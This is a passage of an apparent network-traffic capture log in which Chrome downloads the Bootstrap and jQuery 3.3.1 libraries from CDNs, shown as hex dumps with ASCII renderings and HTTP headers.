(https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 29 Data Ascii: ry","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c 65 6d 65 6e 74 28 6f 29 3f 22 65 6c 65 6d 65 6e 74 22 3a 28 Data Ascii: gger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isElement(o)?"element":(
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 29 7d 2c 65 2e 5f 64 Data Ascii: return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._destroyElement(t)},e._d
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d Data Ascii: }if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.setAttribute("aria-
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 72 65 76 22 2c 79 3d 7b 41 43 54 49 56 45 3a 22 2e 61 Data Ascii: EAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item-prev",y={ACTIVE:".a
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 79 2e 41 43 54 49 56 45 5f 49 54 45 4d 29 5b 30 5d 3b 76 Data Ascii: ll),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find(y.ACTIVE_ITEM)[0];v
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 69 Data Ascii: test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},C._getItemByDirecti
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 67 2b 22 20 22 2b 73 2b 22 20 22 Data Ascii: get:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).removeClass(g+" "+s+" "
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 22 2c 6e 3d 22 62 73 2e 63 6f 6c 6c 61 70 73 65 22 2c 69 Data Ascii: t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse",n="bs.collapse",i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49718	151.101.194.137	443	6620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 15:29:47 UTC	593	OUT	GET /jquery-3.3.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 15:29:47 UTC	566	IN	HTTP/1.1 200 OK Connection: close Content-Length: 271751 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-42587" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 26 Apr 2024 15:29:47 GMT Age: 4933361 X-Served-By: cache-lga21980-LGA, cache-gnv1820027-GNV X-Cache: HIT, MISS X-Cache-Hits: 427, 0 X-Timer: S1714145387.305015,VS0,VE90 Vary: Accept-Encoding
2024-04-26 15:29:47 UTC	16384	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 33 2e 33 2e 31 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 61 74 65 3a 20 32 30 31 38 2d 30 31 2d 32 30 54 31 37 Data Ascii: /! jQuery JavaScript Library v3.3.1 * https://jquery.com/ * * Includes Sizzle.js * https://sizzlejs.com/ * * Copyright JS Foundation and other contributors * Released under the MIT license * https://jquery.org/license * * Date: 2018-01-20T17
2024-04-26 15:29:47 UTC	16384	IN	Data Raw: 69 6e 67 2d 69 64 69 6f 6d 73 0a 09 72 63 73 73 65 73 63 61 70 65 20 3d 20 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c 78 37 66 2d 5c 75 46 46 46 46 5c 77 2d 5d 2f 67 2c 0a 09 66 63 73 73 65 73 63 61 70 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 63 68 2c 20 61 73 43 6f 64 65 50 6f 69 6e 74 20 29 20 7b 0a 09 09 69 66 20 28 20 61 73 43 6f 64 65 50 6f 69 6e 74 20 29 20 7b 0a 0a 09 09 09 2f 2f 20 55 2b 30 30 30 30 20 4e 55 4c 4c 20 62 65 63 6f 6d 65 73 20 55 2b 46 46 46 44 20 52 45 50 4c 41 43 45 4d 45 4e 54 20 43 48 41 52 41 43 54 45 52 0a 09 09 09 69 66 20 28 20 63 68 20 3d 3d 3d 20 22 5c 30 22 20 29 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 22 5c 75 46 46 46 44 22 3b 0a 09 09 09 7d 0a 0a 09 Data Ascii: ing-idiomsrcssescape = /([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\x7f-\uFFFF\w-]/g,fcssescape = function( ch, asCodePoint ) {if ( asCodePoint ) {// U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTERif ( ch === "\0" ) {return "\uFFFD";}
2024-04-26 15:29:47 UTC	16384	IN	Data Raw: 65 20 49 45 20 65 72 72 6f 72 0a 09 2f 2f 20 53 65 65 20 68 74 74 70 73 3a 2f 2f 62 75 67 73 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 74 69 63 6b 65 74 2f 31 33 33 37 38 0a 09 72 62 75 67 67 79 51 53 41 20 3d 20 5b 5d 3b 0a 0a 09 69 66 20 28 20 28 73 75 70 70 6f 72 74 2e 71 73 61 20 3d 20 72 6e 61 74 69 76 65 2e 74 65 73 74 28 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 20 29 29 20 29 20 7b 0a 09 09 2f 2f 20 42 75 69 6c 64 20 51 53 41 20 72 65 67 65 78 0a 09 09 2f 2f 20 52 65 67 65 78 20 73 74 72 61 74 65 67 79 20 61 64 6f 70 74 65 64 20 66 72 6f 6d 20 44 69 65 67 6f 20 50 65 72 69 6e 69 0a 09 09 61 73 73 65 72 74 28 66 75 6e 63 74 69 6f 6e 28 20 65 6c 20 29 20 7b 0a 09 09 09 2f 2f 20 53 65 6c 65 63 74 20 69 73 20 73 65 74 20 Data Ascii: e IE error// See https://bugs.jquery.com/ticket/13378rbuggyQSA = [];if ( (support.qsa = rnative.test( document.querySelectorAll )) ) {// Build QSA regex// Regex strategy adopted from Diego Periniassert(function( el ) {// Select is set
2024-04-26 15:29:47 UTC	16384	IN	Data Raw: 74 79 70 65 20 5d 20 7c 7c 20 5b 5d 3b 0a 09 09 09 09 09 09 09 6e 6f 64 65 49 6e 64 65 78 20 3d 20 63 61 63 68 65 5b 20 30 20 5d 20 3d 3d 3d 20 64 69 72 72 75 6e 73 20 26 26 20 63 61 63 68 65 5b 20 31 20 5d 3b 0a 09 09 09 09 09 09 09 64 69 66 66 20 3d 20 6e 6f 64 65 49 6e 64 65 78 20 26 26 20 63 61 63 68 65 5b 20 32 20 5d 3b 0a 09 09 09 09 09 09 09 6e 6f 64 65 20 3d 20 6e 6f 64 65 49 6e 64 65 78 20 26 26 20 70 61 72 65 6e 74 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 20 6e 6f 64 65 49 6e 64 65 78 20 5d 3b 0a 0a 09 09 09 09 09 09 09 77 68 69 6c 65 20 28 20 28 6e 6f 64 65 20 3d 20 2b 2b 6e 6f 64 65 49 6e 64 65 78 20 26 26 20 6e 6f 64 65 20 26 26 20 6e 6f 64 65 5b 20 64 69 72 20 5d 20 7c 7c 0a 0a 09 09 09 09 09 09 09 09 2f 2f 20 46 61 6c 6c 62 61 63 6b 20 74 6f 20 Data Ascii: type ] \|\| [];nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];diff = nodeIndex && cache[ 2 ];node = nodeIndex && parent.childNodes[ nodeIndex ];while ( (node = ++nodeIndex && node && node[ dir ] \|\|// Fallback to
2024-04-26 15:29:47 UTC	16384	IN	Data Raw: 0a 09 09 2f 2f 20 41 64 64 20 65 6c 65 6d 65 6e 74 73 20 74 6f 20 72 65 73 75 6c 74 73 2c 20 74 68 72 6f 75 67 68 20 70 6f 73 74 46 69 6e 64 65 72 20 69 66 20 64 65 66 69 6e 65 64 0a 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 6d 61 74 63 68 65 72 4f 75 74 20 3d 20 63 6f 6e 64 65 6e 73 65 28 0a 09 09 09 09 6d 61 74 63 68 65 72 4f 75 74 20 3d 3d 3d 20 72 65 73 75 6c 74 73 20 3f 0a 09 09 09 09 09 6d 61 74 63 68 65 72 4f 75 74 2e 73 70 6c 69 63 65 28 20 70 72 65 65 78 69 73 74 69 6e 67 2c 20 6d 61 74 63 68 65 72 4f 75 74 2e 6c 65 6e 67 74 68 20 29 20 3a 0a 09 09 09 09 09 6d 61 74 63 68 65 72 4f 75 74 0a 09 09 09 29 3b 0a 09 09 09 69 66 20 28 20 70 6f 73 74 46 69 6e 64 65 72 20 29 20 7b 0a 09 09 09 09 70 6f 73 74 46 69 6e 64 65 72 28 20 6e 75 6c 6c 2c 20 72 65 Data Ascii: // Add elements to results, through postFinder if defined} else {matcherOut = condense(matcherOut === results ?matcherOut.splice( preexisting, matcherOut.length ) :matcherOut);if ( postFinder ) {postFinder( null, re
2024-04-26 15:29:47 UTC	16384	IN	Data Raw: 6f 62 6a 65 63 74 0a 09 09 09 09 09 09 74 68 69 73 5b 20 30 20 5d 20 3d 20 65 6c 65 6d 3b 0a 09 09 09 09 09 09 74 68 69 73 2e 6c 65 6e 67 74 68 20 3d 20 31 3b 0a 09 09 09 09 09 7d 0a 09 09 09 09 09 72 65 74 75 72 6e 20 74 68 69 73 3b 0a 09 09 09 09 7d 0a 0a 09 09 09 2f 2f 20 48 41 4e 44 4c 45 3a 20 24 28 65 78 70 72 2c 20 24 28 2e 2e 2e 29 29 0a 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 21 63 6f 6e 74 65 78 74 20 7c 7c 20 63 6f 6e 74 65 78 74 2e 6a 71 75 65 72 79 20 29 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 28 20 63 6f 6e 74 65 78 74 20 7c 7c 20 72 6f 6f 74 20 29 2e 66 69 6e 64 28 20 73 65 6c 65 63 74 6f 72 20 29 3b 0a 0a 09 09 09 2f 2f 20 48 41 4e 44 4c 45 3a 20 24 28 65 78 70 72 2c 20 63 6f 6e 74 65 78 74 29 0a 09 09 09 2f 2f 20 28 77 68 69 63 68 Data Ascii: objectthis[ 0 ] = elem;this.length = 1;}return this;}// HANDLE: $(expr, $(...))} else if ( !context \|\| context.jquery ) {return ( context \|\| root ).find( selector );// HANDLE: $(expr, context)// (which
2024-04-26 15:29:47 UTC	16384	IN	Data Raw: 65 70 74 69 6f 6e 48 6f 6f 6b 20 29 20 7b 0a 09 09 09 09 09 09 09 09 09 09 09 09 6a 51 75 65 72 79 2e 44 65 66 65 72 72 65 64 2e 65 78 63 65 70 74 69 6f 6e 48 6f 6f 6b 28 20 65 2c 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 70 72 6f 63 65 73 73 2e 73 74 61 63 6b 54 72 61 63 65 20 29 3b 0a 09 09 09 09 09 09 09 09 09 09 09 7d 0a 0a 09 09 09 09 09 09 09 09 09 09 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 50 72 6f 6d 69 73 65 73 2f 41 2b 20 73 65 63 74 69 6f 6e 20 32 2e 33 2e 33 2e 33 2e 34 2e 31 0a 09 09 09 09 09 09 09 09 09 09 09 2f 2f 20 68 74 74 70 73 3a 2f 2f 70 72 6f 6d 69 73 65 73 61 70 6c 75 73 2e 63 6f 6d 2f 23 70 6f 69 6e 74 2d 36 31 0a 09 09 09 09 09 09 09 09 09 09 09 2f 2f 20 49 67 6e 6f 72 65 20 70 6f 73 74 2d 72 65 73 6f 6c 75 74 69 6f 6e 20 65 78 63 Data Ascii: eptionHook ) {jQuery.Deferred.exceptionHook( e,process.stackTrace );}// Support: Promises/A+ section 2.3.3.3.4.1// https://promisesaplus.com/#point-61// Ignore post-resolution exc
2024-04-26 15:29:47 UTC	16384	IN	Data Raw: 68 69 73 2c 20 66 75 6e 63 74 69 6f 6e 28 20 76 61 6c 75 65 20 29 20 7b 0a 09 09 09 76 61 72 20 64 61 74 61 3b 0a 0a 09 09 09 2f 2f 20 54 68 65 20 63 61 6c 6c 69 6e 67 20 6a 51 75 65 72 79 20 6f 62 6a 65 63 74 20 28 65 6c 65 6d 65 6e 74 20 6d 61 74 63 68 65 73 29 20 69 73 20 6e 6f 74 20 65 6d 70 74 79 0a 09 09 09 2f 2f 20 28 61 6e 64 20 74 68 65 72 65 66 6f 72 65 20 68 61 73 20 61 6e 20 65 6c 65 6d 65 6e 74 20 61 70 70 65 61 72 73 20 61 74 20 74 68 69 73 5b 20 30 20 5d 29 20 61 6e 64 20 74 68 65 0a 09 09 09 2f 2f 20 60 76 61 6c 75 65 60 20 70 61 72 61 6d 65 74 65 72 20 77 61 73 20 6e 6f 74 20 75 6e 64 65 66 69 6e 65 64 2e 20 41 6e 20 65 6d 70 74 79 20 6a 51 75 65 72 79 20 6f 62 6a 65 63 74 0a 09 09 09 2f 2f 20 77 69 6c 6c 20 72 65 73 75 6c 74 20 69 6e 20 Data Ascii: his, function( value ) {var data;// The calling jQuery object (element matches) is not empty// (and therefore has an element appears at this[ 0 ]) and the// `value` parameter was not undefined. An empty jQuery object// will result in
2024-04-26 15:29:47 UTC	16384	IN	Data Raw: 20 68 61 6e 64 6c 65 72 2e 68 61 6e 64 6c 65 72 20 29 20 7b 0a 09 09 09 68 61 6e 64 6c 65 4f 62 6a 49 6e 20 3d 20 68 61 6e 64 6c 65 72 3b 0a 09 09 09 68 61 6e 64 6c 65 72 20 3d 20 68 61 6e 64 6c 65 4f 62 6a 49 6e 2e 68 61 6e 64 6c 65 72 3b 0a 09 09 09 73 65 6c 65 63 74 6f 72 20 3d 20 68 61 6e 64 6c 65 4f 62 6a 49 6e 2e 73 65 6c 65 63 74 6f 72 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 45 6e 73 75 72 65 20 74 68 61 74 20 69 6e 76 61 6c 69 64 20 73 65 6c 65 63 74 6f 72 73 20 74 68 72 6f 77 20 65 78 63 65 70 74 69 6f 6e 73 20 61 74 20 61 74 74 61 63 68 20 74 69 6d 65 0a 09 09 2f 2f 20 45 76 61 6c 75 61 74 65 20 61 67 61 69 6e 73 74 20 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 20 69 6e 20 63 61 73 65 20 65 6c 65 6d 20 69 73 20 61 20 6e 6f 6e 2d 65 6c 65 6d 65 6e Data Ascii: handler.handler ) {handleObjIn = handler;handler = handleObjIn.handler;selector = handleObjIn.selector;}// Ensure that invalid selectors throw exceptions at attach time// Evaluate against documentElement in case elem is a non-elemen
2024-04-26 15:29:47 UTC	16384	IN	Data Raw: 09 09 68 61 6e 64 6c 65 4f 62 6a 2e 68 61 6e 64 6c 65 72 0a 09 09 09 29 3b 0a 09 09 09 72 65 74 75 72 6e 20 74 68 69 73 3b 0a 09 09 7d 0a 09 09 69 66 20 28 20 74 79 70 65 6f 66 20 74 79 70 65 73 20 3d 3d 3d 20 22 6f 62 6a 65 63 74 22 20 29 20 7b 0a 0a 09 09 09 2f 2f 20 28 20 74 79 70 65 73 2d 6f 62 6a 65 63 74 20 5b 2c 20 73 65 6c 65 63 74 6f 72 5d 20 29 0a 09 09 09 66 6f 72 20 28 20 74 79 70 65 20 69 6e 20 74 79 70 65 73 20 29 20 7b 0a 09 09 09 09 74 68 69 73 2e 6f 66 66 28 20 74 79 70 65 2c 20 73 65 6c 65 63 74 6f 72 2c 20 74 79 70 65 73 5b 20 74 79 70 65 20 5d 20 29 3b 0a 09 09 09 7d 0a 09 09 09 72 65 74 75 72 6e 20 74 68 69 73 3b 0a 09 09 7d 0a 09 09 69 66 20 28 20 73 65 6c 65 63 74 6f 72 20 3d 3d 3d 20 66 61 6c 73 65 20 7c 7c 20 74 79 70 65 6f 66 20 Data Ascii: handleObj.handler);return this;}if ( typeof types === "object" ) {// ( types-object [, selector] )for ( type in types ) {this.off( type, selector, types[ type ] );}return this;}if ( selector === false \|\| typeof

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49720	104.17.25.14	443	6620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
